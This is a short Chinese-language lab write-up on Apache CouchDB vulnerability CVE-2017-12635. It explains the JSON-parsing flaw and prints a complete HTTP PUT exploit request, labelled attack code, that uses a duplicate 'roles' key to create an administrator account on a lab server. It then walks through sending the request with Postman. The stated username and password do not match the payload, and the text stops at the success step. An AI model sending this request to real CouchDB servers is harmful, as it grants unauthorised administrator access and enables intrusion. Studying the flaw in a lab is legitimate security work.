Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
下载postman 工具:https://postman.com/downloads
点击New 点击 HTTP
攻击代码:
PUT /_users/org.couchdb.user:Hacker1 HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92{"type": "user","name": "Hacker1","roles": ["_admin"],"roles":[],"password": "123456"
}
我添加的用户为 Hacker,密码为666666,roles为_admin
数据改包前测试:登陆IP:IP:63073/_utils,出现登陆页面,输入用户名和密码,显示错误
postman 点击send后显示成功: